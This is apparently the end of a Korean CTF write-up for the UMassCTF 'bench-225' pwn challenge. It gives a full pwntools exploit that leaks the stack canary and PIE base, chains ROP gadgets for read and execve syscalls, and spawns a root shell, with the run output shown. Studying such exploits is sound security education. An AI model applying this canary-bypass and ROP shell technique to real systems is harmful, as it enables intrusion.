trigger()


# [2] Leak Canary
#pause()
canary = leak(13)
slog("canary", canary)


# [3] Leak Code Base
#pause()
main = leak(11) - 837
e.address = main - e.symbols['main']
bss = e.bss() + 1000    # + 1000 (avoid overwrite stdout)
slog("code base", e.address)
slog("bss", bss)


# [4] Prepare ROP Gadget
pop_rdi = r.find_gadget(['pop rdi', 'ret'])[0] + e.address
pop_rsi = r.find_gadget(['pop rsi', 'ret'])[0] + e.address
pop_rdx = r.find_gadget(['pop rdx', 'ret'])[0] + e.address
pop_rax = r.find_gadget(['pop rax', 'ret'])[0] + e.address
syscall = r.find_gadget(['syscall'])[0] + e.address
ret = r.find_gadget(['ret'])[0] + e.address


# [4] read(0, bss, 16)
payload = b'A' * 8
payload += p64(canary)
payload += b'B' * 8
payload += p64(ret)     # stack alignment
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi) + p64(bss)
payload += p64(pop_rdx) + p64(16)
payload += p64(pop_rax) + p64(0)
payload += p64(syscall) + p64(ret)
payload += p64(e.symbols['motivation'])

#pause()
p.sendlineafter(b"6. Motivational Quote\n", b'6')
p.sendlineafter(b"Enter your motivational quote: ", payload)
p.sendline(b'/bin/sh\x00')


# [5] execve("/bin/sh", NULL, NULL)
payload = b'A' * 8
payload += p64(canary)
payload += b'B' * 8
payload += p64(pop_rdi) + p64(bss)
payload += p64(pop_rsi) + p64(0)
payload += p64(pop_rdx) + p64(0)
payload += p64(pop_rax) + p64(0x3b)
payload += p64(syscall)

#pause()
p.recvuntil(b"Enter your motivational quote:")
p.sendline(b'A')
p.sendline(payload)
p.clean()


# [6] Get Shell
p.interactive()
  • 전체 익스플로잇 코드입니다.


Exploit

❯ python3 exploit.py
[+] Starting local process './bench-225': pid 53074
[*] '/root/workspace/CTF/UMassCTF/pwnable/bench-225/bench-225'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] Loaded 12 cached gadgets for './bench-225'
[+] canary: 0xdbe6a7f4ba3db00
[+] code base: 0x55ee0b195000
[+] bss: 0x55ee0b19c448
[*] Switching to interactive mode
$ id
uid=0(root) gid=0(root) groups=0(root)
  • 익스플로잇 코드를 실행하면 쉘이 뜹니다.

0개의 댓글